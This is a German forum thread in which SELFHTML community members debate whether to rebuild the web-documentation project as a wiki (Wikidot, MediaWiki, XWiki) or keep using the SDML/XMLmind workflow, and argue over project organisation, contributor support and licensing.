            Die Erfahrungen mit bisherigen Probleme muss man auch gar nicht berücksichtigen, einfach neu anfangen ...

            Ich sehe bisher nur das Problem, dass keine gewillt ist etwas zu schreiben weil die Zeit fehlt und das Projekt zu ambitioniert ist.

            Versuch mal mit den Betroffenen eine Lösung zu finden, nicht gegen sie.

            Ganz einfach:

            1. ein Online-Frontend mit dem man bestehende SELFHTML-Artikel (oder meinetwegen auch SELFHTML 9) bearbeiten kann.

            Vermutlich wollen die wenigsten wollen irgend eine Software installieren - zumindest für mich gilt das.

            1. An SELFHTML 8.x weiterarbeiten und nicht versuchen alles neu schreiben - das wird nie fertig.
            1. Lieber suit,

              Ganz einfach:

              1. ein Online-Frontend mit dem man bestehende SELFHTML-Artikel (oder meinetwegen auch SELFHTML 9) bearbeiten kann.

              JAAAAA!!!

              Vermutlich wollen die wenigsten wollen irgend eine Software installieren - zumindest für mich gilt das.

              JAAAAA!!!

              1. An SELFHTML 8.x weiterarbeiten und nicht versuchen alles neu schreiben - das wird nie fertig.

              Stimmt.

              Ich werde mir dieses Wiki von Stefan reinziehen und versuchen, das HTML-Kapitel darin zu schreiben/importieren. Mal sehen, was daraus wird. Wenn dann mal etwas da ist, dann kann man das ja in alle möglichen Datenformate kovertieren/parsen. Das wäre mir im Prinzip völlig schnuppe.

              @Stefan Münz: Vielleicht war WikiDot nicht die optimale Wahl, aber damit jemand einfach einmal losschreiben kann, ist es anscheinend allemal genügend. Werde sehen, wie ich damit zurecht komme.

              Liebe Grüße,

              Felix Riesterer.

              --
              ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
              1. Ich werde mir dieses Wiki von Stefan reinziehen und versuchen, das HTML-Kapitel darin zu schreiben/importieren. Mal sehen, was daraus wird. Wenn dann mal etwas da ist, dann kann man das ja in alle möglichen Datenformate kovertieren/parsen. Das wäre mir im Prinzip völlig schnuppe.

                Ich hab' bereits einen Versuch gemacht - zum Abbilden der derzeitigen Struktur ist es ungeeignet und aufgrund der Einfachheit des Templateparsers wird es auch schwierig werden speziellere Features umzusetzen (ich lasse mich gerne belehren).

                Aber Stefan hat damit "eindrucksvoll" demonstriert, dass es keine Lebensaufgabe ist ein Wiki aufzusetzen und die Grundstruktur zu schaffen.

                1. Hi suit und Felix!

                  Aber Stefan hat damit "eindrucksvoll" demonstriert, dass es keine Lebensaufgabe ist ein Wiki aufzusetzen und die Grundstruktur zu schaffen.

                  Wenn ihr ja so voller tatendrang seid, dann setzt doch lieber mal ein Wiki für die hier im Forum immer wiederkehrenden Fragen auf!

                  Ich empfinde die Diskussion über die technische Grundlage der Doku mittlerweile als müssig - man sollte irgendwann halt mal akzeptieren, dass eine Entscheidung getroffen wurde.

                  Wenn man persönlich mit dieser nicht leben kann - OK. Dann verabschiedet man sich stillschweigend und gut ist.

                  Andernfalls sollte man seine Energie darauf verwenden, wie man den eingeschlagenen Weg für möglichst viele User "ebnen & ausbauen/ befestigen" kann.

                  Und wenn selbst mir es problemlos gelungen ist, den Editor und die anderen benötigten Programme zu installieren, dann kann ich mir wirklich kaum vorstellen, dass euch das nicht auch möglich sein sollte.

                  Also zu argumentieren, dass man "keine Lust" hat, sich irgendwelche Software zu installieren, ist daher nun wirklich eher eine "faule Ausrede", denn ein Argument.

                  Und natürlich wird es dutzende in Frage kommende Scripte & Varianten geben - jede mit ihren eigenen Vor- & Nachteilen. So what? Endlos diskutieren? Und jeder, dessen Vorschlag dann keine Umsetzung findet, stellt seine Unterstützung ein?

                  Ich plädiere daher nachdrücklich dafür, jetzt lieber mal darüber nachzudenken, wie man auf dem einmal eingeschlagenen Weg am besten & schnellsten voran kommt. Denn ich glaube, dass ein erkennbarer Fortschritt wiederum ein Anreiz für andere ist, sich auch noch zu beteiligen.

                  Gruß Gunther

                  1. Hallo,

                    Ich empfinde die Diskussion über die technische Grundlage der Doku mittlerweile als müssig

                    Ich habe gesagt, dass genau das kommen wird.

                    Und wenn selbst mir es problemlos gelungen ist, den Editor und die anderen benötigten Programme zu installieren, dann kann ich mir wirklich kaum vorstellen, dass euch das nicht auch möglich sein sollte.

                    Danke!

                    Ich plädiere daher nachdrücklich dafür, jetzt lieber mal darüber nachzudenken, wie man auf dem einmal eingeschlagenen Weg am besten & schnellsten voran kommt. Denn ich glaube, dass ein erkennbarer Fortschritt wiederum ein Anreiz für andere ist, sich auch noch zu beteiligen.

                    http://aktuell.de.selfhtml.org/weblog/ist-selfhtml-tot

                    Grüße
                    Thomas

            2. Hi!

              Mach doch mal eine Bestandsaufnahme, was SDML kann und vergleiche das dann mit dem was du vorschlägst. Das setzt natürlich voraus, dass du dich mit SDML näher auseinandersetzt, was auch ein Art Entgegenkommen darstellt.
              Habe ich.
              Ich habe mich mittlerweile mit SDML, Wikidot, MediaWiki und TYPO3 auseinandergestzt.
              Ich bin jetzt endgültig der Festen überzeugung, MediaWiki ist besser geeignet als Wikidot um die Stuktur von SELFHTML abzubilden.

              Dann berichte bitte detailliert über deine Erfahrungen. Wo sind die konkreten Kritikpunkte. Andere wollen schließlich auch etwas mehr daraus entnehmen als ein "funktioniert nicht".

              1. ein Online-Frontend mit dem man bestehende SELFHTML-Artikel (oder meinetwegen auch SELFHTML 9) bearbeiten kann.
                Vermutlich wollen die wenigsten wollen irgend eine Software installieren - zumindest für mich gilt das.

              Dagegen ist prinzipell nichts einzuwenden - wenn man es als Zusatz sieht. Jeder hat unterschiedliche Arbeitsweisen. Mir ist ein Editor, den ich auf beliebige Größe ziehen kann, lieber als eine kleine Textarea. Die ist mir ja hier im Forum schon zu klein (hab sie mir größer gemacht, geht ja mit den persönlichen Einstellungen sehr gut). Eine zu kleine Textarea lässt sich einfach lösen, zur Not mit Stylish. Aber was ist mit Offline-Arbeiten? Vielleicht hat jemand auf einer Zug-/Flug-Reise Muße aber keinen ständig verfügbaren Internetanschluss? Da wäre ein reines Online-Frontend genauso eine Hürde wie es ein Offline-Editor für andere darstellt.

              1. An SELFHTML 8.x weiterarbeiten und nicht versuchen alles neu schreiben - das wird nie fertig.

              Was ist mit den von Thomas J.S. genannten Gründen, warum gerade dieser wohlbekannt aufwendigere Weg doch ins Auge gefasst wurde?

              Und all die anderen Erfahrungen, siehe Christian Seilers Beitrag. (Konkrete Antworten darauf bitte dort anhängen.)

              Lo!

              1. Dann berichte bitte detailliert über deine Erfahrungen. Wo sind die konkreten Kritikpunkte. Andere wollen schließlich auch etwas mehr daraus entnehmen als ein "funktioniert nicht".

                Ich will nicht ins Detail gehen: aber ich habe ernsthafte Schwierigkeiten mit der Bedienung des Editors. Ich bin WYSIWYG-Editoren wie z.B. TinyMCE gewöhnt - ich will irgendwas markieren und sagen "Das ist jetzt eine Überschrift". Ich finde mich aber bei XMLmind nicht zurecht und konnte in dem Vorgefertigen Artikel bestenfalls die vorgaben abändern nicht aber einen neuen Abschnitt oder ähnliches hinzufügen.

                Es ist für mich wichtig, dass ich ein System ansatzweise verstehe ohne ein Handbuch zu lesen - wenn das nicht der Fall ist, interessiert es mich nicht (ausser ich werde dafür bezahlt).

                Dagegen ist prinzipell nichts einzuwenden - wenn man es als Zusatz sieht.

                Siehst du, ich sehe Online-Editierbarkeit als essentiell an - der Zusatz sind die "Profiwerkzeuge" wie eben den Quelltext in ein XML-Format zu übertragen, zu bearbeiten und wieder importieren zu können.

                Jeder hat unterschiedliche Arbeitsweisen. Mir ist ein Editor, den ich auf beliebige Größe ziehen kann, lieber als eine kleine Textarea.

                Du verwendest den falschen Browser :) btw: ich bearbeite z.B. Wikipedia-Artikel in Notepad++ wenn es um Massenänderungen oder ähnliches geht - ich nutze den Texteditor nur für einfache Sachen.

                Aber was ist mit Offline-Arbeiten? Vielleicht hat jemand auf einer Zug-/Flug-Reise Muße aber keinen ständig verfügbaren Internetanschluss?

                Natürlich - aber aktuell gibts nur eine offline-Version aus der man aus- und einchecken muss. Live online zu arbeiten ist unmöglich.

                Was ist mit den von Thomas J.S. genannten Gründen, warum gerade dieser wohlbekannt aufwendigere Weg doch ins Auge gefasst wurde?

                Die verstehe ich durchaus, aber irgendwo muss man einsehen, dass man nicht alles neu machen kann. Ein Refactoring der Texte ist weniger zeitintensich.

                1. Hi!

                  Ich will nicht ins Detail gehen: aber ich habe ernsthafte Schwierigkeiten mit der Bedienung des Editors.

                  Gut. Aber erwarte keine Behebung ohne konkrete Nennung der Probleme. (Ja, ich weiß, du willst lieber den Online-Weg weiterverfolgen und noch dazu mit einem ganz anderen System.)

                  Dagegen ist prinzipell nichts einzuwenden - wenn man es als Zusatz sieht.
                  Siehst du, ich sehe Online-Editierbarkeit als essentiell an - der Zusatz sind die "Profiwerkzeuge" wie eben den Quelltext in ein XML-Format zu übertragen, zu bearbeiten und wieder importieren zu können.

                  Das sehe ich sehr wohl, aber ich sehe mir alle Seiten an und fordere nicht das als Standard, was mir am liebsten passt. Wir können uns sicher darauf einigen, es Alternativen statt Zusatz zu nennen. Der Name allein bringt uns jedoch noch nicht weiter. Erst die Verfügbarkeit beider Werkzeuge wird, so sehe ich das, ein guter Komprimiss sein. Denn wenn es am Ende nur ein einfaches Werkzeug gibt, das aber viel zu einfach ist - kleine Korrekturen schnell zulässt, aber große Texte zur Qual werden lässt - erfreut das am Ende nur die "Kleinen" und die "Poweruser" vergraulst du.

                  Aber was ist mit Offline-Arbeiten? Vielleicht hat jemand auf einer Zug-/Flug-Reise Muße aber keinen ständig verfügbaren Internetanschluss?
                  Natürlich - aber aktuell gibts nur eine offline-Version aus der man aus- und einchecken muss. Live online zu arbeiten ist unmöglich.

                  Deswegen plädiere ich ja für beides.

                  Was ist mit den von Thomas J.S. genannten Gründen, warum gerade dieser wohlbekannt aufwendigere Weg doch ins Auge gefasst wurde?
                  Die verstehe ich durchaus, aber irgendwo muss man einsehen, dass man nicht alles neu machen kann. Ein Refactoring der Texte ist weniger zeitintensich.

                  Da kommt es darauf an, was man letzlich will. Quantität oder Qualität. Natürlich ist es Mist nur wenige qualitativ hochwertige Artikel zu haben, andererseits ist aber auch zu viel Ausschuss ungesund. Das Interesse am Ergebnis darf nicht wegen nicht vohandener Qualität nachlassen. Ein schlechter Ruf ist nur schwer wieder abzulegen.

                  Lo!

                  1. Das sehe ich sehr wohl, aber ich sehe mir alle Seiten an und fordere nicht das als Standard, was mir am liebsten passt.

                    Ich "forde" auch nicht in dem Sinn, ich wünsche mir eher etwas - ich würde mich gerne beteiligen, wie viele andere auch, heutzutage zählt es für mich halt einfach zu Standard dass ein CMS verwendet wird, dessen Redaktionsoberfläche wenigstens irgendwie bedienbar ist. Mit irgendwelchen Offline-Lösungen lockt man heutzutage niemanden mehr hinter dem Ofen hervor.

                    Wenn diesem Wunsch nicht nachgekommen wird, kann ich mich halt nicht beteiligen - so einfach ist das.

                    Deswegen plädiere ich ja für beides.

                    Ja, aber wenn die Versionsverwaltung online direkt in der Webseite liegt kannst du dir doch jederzeit einen Artikelstand exportieren, bearbeiten und wieder importieren.

                    Ich kann mir auch durchaus vorstellen, dass ein WikiSyntax->SDML-Parser nicht so schwierig zu machen wäre.

                    Das Interesse am Ergebnis darf nicht wegen nicht vohandener Qualität nachlassen. Ein schlechter Ruf ist nur schwer wieder abzulegen.

                    Aber gar kein Ruf ist schlechter als kein Ruf - momentan steckt das Web in einer Phase wo man SELFHTML durchaus noch als Quelle verwenden kann - so wie es jetzt ist - da muss nichts neu gemacht werden. Nur wird sind grade im Umbruch, mehr und mehr features werden breitfälchig unterstütz, diese gilt es zu ergänzen.

                    Eine utopische Qualitätsanforderung die es erfordert, alle Artikel neu zu schreiben ist hier ebenfalls nicht durchführbar.

            3. Hi suit!

              Ich habe mich mittlerweile mit SDML, Wikidot, MediaWiki und TYPO3 auseinandergestzt.

              Ich bin jetzt endgültig der Festen überzeugung, MediaWiki ist besser geeignet als Wikidot um die Stuktur von SELFHTML abzubilden.

              Schön! ;-)
              Nur Struktur alleine nützt ja nicht viel, denn jede Struktur ohne Inhalt(e) ist imho irgendwie für'n Ar...!

              SDML selbst konnte ich nicht "anfassen", XMLmind hingegen ist als XML-Editor vielleicht interessant, aber als Editor für Fließtext aber nicht wirklich geeignet.

              Aha. Und warum nicht?
              Soweit ich gesehen habe, kann man bspw. auch seine bevorzugten externen Anwendungen verknüpfen für verschiedene Mime-/ Dateitypen.

              SDML ist sicher gut geeignet um die Daten abzubilden, aber ich will mich nicht damit beschäftigen wenn es einen WYSIWYG gibt - dieser erfüllt seinen zweck aber imho nicht..

              Auch hier die Frage nach dem Warum?

              TYPO3 ist imho ebenfalls nicht geeignet um SELFHTML abzubilden - die Einstiegshürde für einen Benutzer dem das System nicht persönlich erklärt wird ist zu hoch, die letztliche Verwaltung der Inhalte ist ebenfalls eher weniger geeignet.

              Ich glaube, dass es letztlich ziemlich egal ist, welches System man verwendet.
              Der imho entscheidende Punkt im Bezug auf das aktuell hier vorherrschende Problem scheint mir darin zu liegen, dass man denjenigen, der gewillt ist inhaltliche Beiträge zu leisten, nicht mit administrativen und sonstigen "Internas" belasten sollte. Dafür muss es immer & überall eine Gruppe von Admins und Redakteuren geben.

              Aber wenn du ja schon so eifrig auf der Suche nach "geeigneten" Systemen/ Scripts bist, habe ich zumindest noch einen weiteren Tipp für dich: XWiki

              Gruß Gunther

              1. Auch hier die Frage nach dem Warum?

                Wie hier schon irgendwo im Thread genannt wurde: man will sich ggf. nicht mit irgendwelcher Syntax auseinandersetzen sondern einfach nur einen Artikel oder Abschnitt verfassen - formatieren/wikifizieren kann das jemand anderer.

                Dafür gibts Entwurfsversionen und gesichtete Versionen.

                Ich glaube, dass es letztlich ziemlich egal ist, welches System man verwendet.

                Das glaube ich nicht.

                Der imho entscheidende Punkt im Bezug auf das aktuell hier vorherrschende Problem scheint mir darin zu liegen, dass man denjenigen, der gewillt ist inhaltliche Beiträge zu leisten, nicht mit administrativen und sonstigen "Internas" belasten sollte. Dafür muss es immer & überall eine Gruppe von Admins und Redakteuren geben.

                Ja, auch das ist ein Punkt - wie gesagt, wenn ich nur einen Tippfehler korrigieren will, oder einen kleinen Schönheitsfehler. Z.b. "Tag"->"Element" oder vergleichbares will ich mich nicht mit den Interna auseinandersetzen.

                Es gibt sicher wesentlich mehr potentielle Helfer die nur Kleinigkeiten korrigeren oder bestehendes Erweitern und gar keine Artikel schreiben wollen.

                Aber wenn du ja schon so eifrig auf der Suche nach "geeigneten" Systemen/ Scripts bist, habe ich zumindest noch einen weiteren Tipp für dich: XWiki

                Kannte ich bisher nicht, muss ich mir ansehen.

    2. Doku, Blog, Forum und Drumherum. Das Wiki ist weitgehend public editierbar. Wer schreiben will, hat jetzt keine Ausrede mehr. Denn übernehmen kann man die dort erstellten Texte ja auch woanders hin.

      Sieht ok aus - auch das Design ist angenehm.

      Um mich vor Schmähkritik zu schützen, schnappe ich mir aber jetzt fluggs meine beiden Kleinen und verdampfe zur Oma. Gucke dann später am Tag mal rein, ob die HTML-Doku schon halbwegs fertig ist *g*

      Allgemein bin ich von der Bedienung aber nicht begeistert, MediaWiki ist diesbezüglich wesentlich besser ausgereift. Wikidot ist zwar schneller, aber die Syntax ist teilweise etwas unschlüssig und zudem ist das anlegen der Seiten kompliziert.

      Ich hab' eine Seite unter http://selfhtml.wikidot.com/doku-html:grafiken/einbinden angelegt

      Diese Seite ist aber gleichzeitig unter http://selfhtml.wikidot.com/doku-html:grafiken zu erreichen.

      Das nenne ich FAIL.

      Zudem ist das TOC - obwohl es 2 Überschriftenebenen gibt - nur in einer Ebene gehalten.

      Ansonsten ist es ganz ok.

      Ich hab mir noch kurz den Templateparser angesehen - der ist im vergleich zu dem von MediaWiki auch etwas sparsam - gerade sowas wird man bei SELFHTML aber benötigen. Eben für diverse Icon-Leisten für die Features usw.

      1. Das nenne ich FAIL.

        Ein Verschieben oder verlinken eines Artikels auf Lemmata mit slash funktioniert übrigens auch nicht.

        Verschoben nach grafiken/einbinden - Ergebnis ist grafiken-einbinden:

        http://selfhtml.wikidot.com/doku-html:grafiken-einbinden

        Verlinkung auf grafiken/einbinden erzeugt link auf grafiken-einbinden.

        Das nenne ich Double-FAIL und ist zum abbilden der derzeitigen SELFHTML-Struktur ungeeignet.

        "Cool URIs don't change" kennst du doch :)

    3. Hallo Stefan,

      SELFHTML-Testwiki

      Es ist schade, dass Du aus Deinem vorigen Versuch, für SELFHTML ein Wiki zu bauen, nichts gelernt hast. Ich selbst betrachte den vorigen Versuch nicht als gescheitert, weil es ein Wiki war (ich habe da vielleicht eine etwas andere Meinung als einige andere aus der Redaktion), sondern weil Du ungeduldig warst und Dir nicht genau überlegt hast, wie man sowas am besten organisiert. Und jetzt begehst Du genau den gleichen Fehler noch einmal. Was machst Du, wenn in dem Wiki in einem Monat wieder nichts los ist? Wieder das Handtuch werfen und sagen, alle anderen wären Schuld?

      Für die Wikipedia hat das Prinzip "ich stelle euch die Technik hin, macht mal!" ganz gut funktioniert in der Vergangenheit. Das liegt aber daran, dass die Wikipedia eine Sammlung von Artikeln ist, die meist nur lose miteinander zu tun haben. Aber selbst bei der Wikipedia zeigt sich inzwischen, dass dieses Prinzip seine Probleme hat, gerade wenn verschiedene Leute unterschiedliche Vorstellungen davon haben, wie was "Produkt" am Ende aussehen soll.

      Für etwas wie SELFHTML, das letztendlich eine Art geschlossenes Dokument sein soll [1], muss die Arbeit irgendwie in halbwegs geordnete Bahnen gelenkt werden. Das heißt: "Macht mal!" wird scheitern. Was wir brauchen, ist zum eine grobe Zielsetzung, damit Leute, die sich darauf einlassen, sofort verstehen, was das Projekt soll. Klar, das wird einige Leute, die diese Zielsetzung falsch finden, vielleicht abschrecken. Aber dafür wird es bestimmte Diskussionen vermeiden, die so viel Zeit und Nerven kosten, dass man dann nicht mehr an der Doku arbeitet (ich spreche aus Erfahrung). Natürlich sollen die Leute, die die Arbeit investieren, letztenendlich auch die Entscheidungen treffen - aber man muss zusehen, dass man das ganze am Anfang nicht durch Endlosdiskussionen kaputt macht. Das ganze ist daher eine Gratwanderung.

      Dann braucht ein paar Leute, die sich um neue Mitstreiter kümmern, ihnen zur Hand gehen, ihnen bei Problemen helfen. Jemand, der daran arbeitet, soll sich nicht allein gelassen fühlen. Ich glaube, das ist aus psychologischer Sicht wivlleicht eines der wichtigsten Punkte. Wenn man einfach nur ein Wiki mit einem Editierknopf hat, dann korrigiert man vielleicht mal einen Rechtschreibfehler. Aber wenn man wirklich Arbeit investieren soll, dann will man sich "betreut" vorkommen.

      Und nicht zuletzt sollten rechtliche Dinge geklärt werden: Welche Lizenzbedingungen nehmen wir? Was passiert mit möglichen Tantiemen, wenn das irgendwann mal wieder in Buchform erscheinen sollte? Das muss man *vorab* klären. Und das ist nichts theoretisches: Die erste Version der Zitatesammlung mussten wir wieder löschen, weil wir das damals mit dem Autor nicht geklärt hatten und der Autor andere Vorstellungen davon hatte als der Rest der Community hier. Was wäre das denn für eine Blamage, wenn wir SELFHTML 9 fertig hätten und irgend ein Autor kann dann das ganze Projekt durch sein Urheberrecht blockieren, weil ihm die eingeschlagene Richtung nicht gefällt?

      Klar, was ich jetzt angesprochen habe, ist kein Hexenwerk. Man kann das auch in brauchbarer Zeit hinkriegen, ohne, dass das gleich Monate dauern wird. Aber eben nicht mal einfach so an einem Wochenende, in dem man eine Vorlage erstellt und in ein Wiki knallt.

      Um etwas Konstruktives beizutragen:

      Ich selbst bin jemand, der es gerne nochmal mit der Wiki-Idee versuchen würde. Ich weiß noch nicht, wie alle anderen hier dazu stehen und werde deswegen keinen Alleingang machen (außerdem schreibe ich im Moment meine Diplomarbeit und habe bis Anfang Februar eigentlich gar keine Zeit).

      Aber falls wir es mit dem Wiki nochmal versuchen sollten, dann sollten wir dem Projekt doch die bestmögliche Chance geben, die es nur kriegen kann. Damit es eben nicht wieder durch unüberlegtes Handeln auf Grund von Ungeduld kaputt gemacht wird, wie der letzte Versuch.

      Ich möchte Dich daher bitten: Gib uns ein paar Wochen, Details auszuknobeln und es richtig zu machen und mach das, was Du jetzt gebastelt hast, wieder zu, damit eben nicht noch mehr Leute sich enttäuscht wegwenden, weil es wieder nicht klappt. Wenn wir es in nächster Zeit nicht schaffen, die Situation um SELFHTML dramatisch zu verbessern (und wie gesagt: vielleicht wird's auch kein Wiki, das liegt nicht alleine an mir), kannst Du das ganze ja immer noch wieder aufmachen und es nochmal so versuchen, wie Du es vorhattest.

      Viele Grüße,
      Christian

      [1] Man kann sich natürlich fragen, ob das unser Ziel sein sollte. Ich meine ja, zumindest für die Kernthemen wie HTML, CSS und Javascript. Wenn wir etwas wollen, mit denen Anfänger diese Themen lernen können, dann ist eine lose Artikelsammlung die falsche Antwort.

      1. Ich denke auch, das ein solches Projekt etwas anderes ist als ein spontaner Blogbeitrag und eine schnelle Skizzierung einer Idee ist, und deswegen etwas mehr Gerüst hinter(!) der Technik braucht.

        Ich unterrichte gerade "Publizieren im Internet" an einer Grundschule, und da ist immer der erste Schritt auf dem Weg, die "Sachen der Kinder" ins Netz zu bringen: Computer ausschalten! (Sonst bestimmt das Werkzeug das Ergebnis, und solche Sachen gibts schon zuhauf)

        Plan machen. Gerüst überlegen. Sachen zurechtlegen (im Kopf und auf der Festplatte) und dann erst: umsetzen.

        Es gibt viele tolle Dinge, mit denen man am besten gleich beginnt, um den "Drive" nicht zu verpulvern: ein selfhtml-Paket scheint mir nicht dazu zu gehören.

        *duckt sich wieder hinter seiner Unwissenheit und selfhtml-Untätigkeit weg*

        1. Hallo Chräcker,

          Nur so nebenbei: Schön, von Dir mal wieder ein Lebenszeichen zu sehen. :-)

          Viele Grüße,
          Christian

      2. Hallo Christian,

        Ich selbst betrachte den vorigen Versuch nicht als gescheitert, weil es ein Wiki war (ich habe da vielleicht eine etwas andere Meinung als einige andere aus der Redaktion), sondern weil Du ungeduldig warst und Dir nicht genau überlegt hast, wie man sowas am besten organisiert.

        Dazu möchte ich sagen: ich habe das bewusst so gemacht. Im einleitenden Blogposting auf der Quick&Dirty-Site habe ich geschrieben warum: gerade dieses ewige Alles-Vorher-Bedenken-Wollen tötet am Ende jede Motivation. SELFHTML ist relativ spontan entstanden seinerzeit und wuchs dann. Genauso ging es auch mit wesentlich größeren Dingern, egal ob Google, Facebook oder - was du selber als Beispiel anführst - Wikipedia. Klar, ein paar Dinge sollte man bedenken, bevor man loslegt. Aber ich lasse mir auch nicht vorwerfen, dass ich während der eineinhalb Tage, die ich nun an der Einrichtung der Testsite verbracht habe, mein Hirn gänzlich ausgeschaltet habe. Einige Dinge habe ich bewusst "locker" konzipiert, eben weil ich die ganzen Verkrampfungen vermeiden wollte. Inhalte bahnen sich Wege. Das ist nun mal meine Art zu denken, und der bin ich auch bei dieser Aktion wieder treu geblieben. Dass diese Denke nicht jedem behagt, ist mir bewusst.

        Was machst Du, wenn in dem Wiki in einem Monat wieder nichts los ist? Wieder das Handtuch werfen und sagen, alle anderen wären Schuld?

        Ja, genau. Dann werde ich einfach wieder das Handtuch werfen. Allerdings werde ich niemandem irgendeine Schuld geben. Ich "bin" nicht mehr SELFHTML, insofern würde mir ein Scheitern nicht weiter weh tun. Ich habe auch gar nicht vor, da noch ewig Arbeit reinzustecken jetzt. Ich wollte einfach nur mal was in den Raum stellen. Vielleicht entwickelt sich was draus, vielleicht nicht. Das war mir die eineinhalb Tage Arbeit wert, und mehr ist nicht dahinter.

        Für etwas wie SELFHTML, das letztendlich eine Art geschlossenes Dokument sein soll [1], muss die Arbeit irgendwie in halbwegs geordnete Bahnen gelenkt werden. Das heißt: "Macht mal!" wird scheitern.

        Wer hat denn gesagt, dass dort einfach nur Edit-Anarchie herrschen wird? Und dass jeder nur gedankenlos irgendwelche Inhalte absondert, die überhaupt nicht zum Rest passen? Ich verstehe nicht, warum immer wieder unterstellt wird, nur weil eine Plattform offen sei, könne es keine Organisation geben. Ich will ja nicht ausschließen, dass es so kommen wird. Auch gut, dann scheitert es eben. Auch nicht schlimmer als das der Glaube, es würde irgendwann im hiesigen Backend Redakteure regnen.

        Was wir brauchen, ist zum eine grobe Zielsetzung, damit Leute, die sich darauf einlassen, sofort verstehen, was das Projekt soll.

        Nur zu! Dazu ist die Plattform durchaus geeignet. Genau deshalb ist sie offen. Ich weiß, was du meinst, habe es oft genug selber erlebt. Da reden sich drei Dutzend Leute drei Wochen lang halbe Nächte in Rage, am Ende sind 1500 A4-Seiten Diskussion entstanden, aber keine einzige Zeile für die Doku, und alle gehen wieder genervt ihrer Wege. Dem kann ich nur entgegenhalten: auf dem Demo-Wiki oder wie immer man das Ding nennen soll ist eine Struktur angelegt, und es ist denke ich halbwegs ersichtlich, was wie wohin soll. Zahlreiche Details wären natürlich zu klären. Aber da könnten ja z.B. auch redaktionelle Entscheidungen einfließen, die hier im Laufe der letzten Jahre bereits als Konsens getroffen wurden.

        Dann braucht ein paar Leute, die sich um neue Mitstreiter kümmern, ihnen zur Hand gehen, ihnen bei Problemen helfen. Jemand, der daran arbeitet, soll sich nicht allein gelassen fühlen. Ich glaube, das ist aus psychologischer Sicht wivlleicht eines der wichtigsten Punkte. Wenn man einfach nur ein Wiki mit einem Editierknopf hat, dann korrigiert man vielleicht mal einen Rechtschreibfehler. Aber wenn man wirklich Arbeit investieren soll, dann will man sich "betreut" vorkommen.

        Wichtiger Punkt, und völlig richtig. Aber was soll das sein? Ein Gegenargument? Betreuuung der Redakteure ist überall nötig, auch im redaktionellen Ansatz, der hier im Backend verfolgt wird.

        Und nicht zuletzt sollten rechtliche Dinge geklärt werden: Welche Lizenzbedingungen nehmen wir? Was passiert mit möglichen Tantiemen, wenn das irgendwann mal wieder in Buchform erscheinen sollte? Das muss man *vorab* klären.

        Im Demo-Wiki steht unten auf jeder Seite eine Lizenzangabe. Wer in das Wiki schreibt, akzeptiert die Lizenz, die angegeben ist. Alles andere muss finde ich nicht im Vorfeld bis ins Detail geklärt sein. Das ist ja gerade das Nervtötende. Leute, die nur mitschreiben, wenn sie wissen, wie viel Prozent sie von den Buchtantiemen abbekommen werden, sollten vielleicht lieber gleich ein eigenes Buch schreiben.

        Die erste Version der Zitatesammlung mussten wir wieder löschen, weil wir das damals mit dem Autor nicht geklärt hatten und der Autor andere Vorstellungen davon hatte als der Rest der Community hier. Was wäre das denn für eine Blamage, wenn wir SELFHTML 9 fertig hätten und irgend ein Autor kann dann das ganze Projekt durch sein Urheberrecht blockieren, weil ihm die eingeschlagene Richtung nicht gefällt?

        Wenn das so läuft wie ich mir das vorstelle, gibt es kein SELFHTML 9, sondern nur SELFHTML. Das wird laufend verbessert und aktualisiert und erweitert. Und wenn ein Autor was von ihm gelöscht haben will, muss man das eben tun, oder man macht halt vorher eine Zusatzvereinbarung zur Lizenzform, dass es wegen technischer und redaktioneller Unzumutbarkeit nicht möglich ist, Inhalte bestimmter Autoren zu einem späteren Zeitpunkt vollständig zu entfernen. Das kann man alles machen. Aber dazu muss man jetzt nicht erst wieder ein halbes Jahr lang Juristerei betreiben und ja keine Zeile Fremdbeitrag akzeptieren, bevor das nicht alles letzgültig vor der Welt und vor Gott geklärt ist.

        Ich möchte Dich daher bitten: Gib uns ein paar Wochen, Details auszuknobeln und es richtig zu machen und mach das, was Du jetzt gebastelt hast, wieder zu, damit eben nicht noch mehr Leute sich enttäuscht wegwenden, weil es wieder nicht klappt. Wenn wir es in nächster Zeit nicht schaffen, die Situation um SELFHTML dramatisch zu verbessern (und wie gesagt: vielleicht wird's auch kein Wiki, das liegt nicht alleine an mir), kannst Du das ganze ja immer noch wieder aufmachen und es nochmal so versuchen, wie Du es vorhattest.

        Dann warte ich mal ab, was die anderen dazu sagen. Wenn das der allgemeine Wunsch ist, werde ich das Demo-Wiki einfach zum Editieren wieder dichtmachen und nur das Forum offen lassen. Anschauen soll es aber jeder können, damit man wenigstens mal sehen kann, wie ich mir das grundsätzlich vorstellen könnte.

        viele Grüße
        Stefan Münz

        1. Hallo Stefan,

          Dazu möchte ich sagen: ich habe das bewusst so gemacht. Im einleitenden Blogposting auf der Quick&Dirty-Site habe ich geschrieben warum: gerade dieses ewige Alles-Vorher-Bedenken-Wollen tötet am Ende jede Motivation.

          Wenn man wirklich _alles_ vorher bedenken will: Ja, da hast Du recht. Aber ein paar Eckpunkte aka "Rahmenbedingungen" sollten vorab schon feststehen.

          Ich sagte Dir beim ersten Wiki, dass das mit MediaWiki auf dem Server so nicht funktionieren wird und dass ich Zeit bräuchte, das richtig einzurichten. Du hast mir nicht geglaubt, der Server ist kaputtgegangen und dann ist das ganze den Bach runter gegangen. Das ist genau das was ich meine: Man muss zwar, wenn man so eine Wiki-Software installiert, nicht jedes einzelne Detail genau kennen, da hast Du Recht. Aber so grobe Dinge sollte man schon beachten. Ich wünschte, Du hättest aus der Erfahrung gelernt.

          Was machst Du, wenn in dem Wiki in einem Monat wieder nichts los ist? Wieder das Handtuch werfen und sagen, alle anderen wären Schuld?

          Ja, genau. Dann werde ich einfach wieder das Handtuch werfen. Allerdings werde ich niemandem irgendeine Schuld geben. Ich "bin" nicht mehr SELFHTML, insofern würde mir ein Scheitern nicht weiter weh tun. Ich habe auch gar nicht vor, da noch ewig Arbeit reinzustecken jetzt. Ich wollte einfach nur mal was in den Raum stellen. Vielleicht entwickelt sich was draus, vielleicht nicht. Das war mir die eineinhalb Tage Arbeit wert, und mehr ist nicht dahinter.

          Das heißt, Du stellst hier etwas in dem Raum, was (weil Dein Name darauf steht und da kein Disclaimer draufpappt, dass das ne Demo ist) von der restlichen Internetgemeinde als halbwegs offiziell angesehen wird - hast dann aber kein Interesse, da noch großartig Arbeit hineinzuinvestieren. Tolle Wurst...

          Für etwas wie SELFHTML, das letztendlich eine Art geschlossenes Dokument sein soll [1], muss die Arbeit irgendwie in halbwegs geordnete Bahnen gelenkt werden. Das heißt: "Macht mal!" wird scheitern.

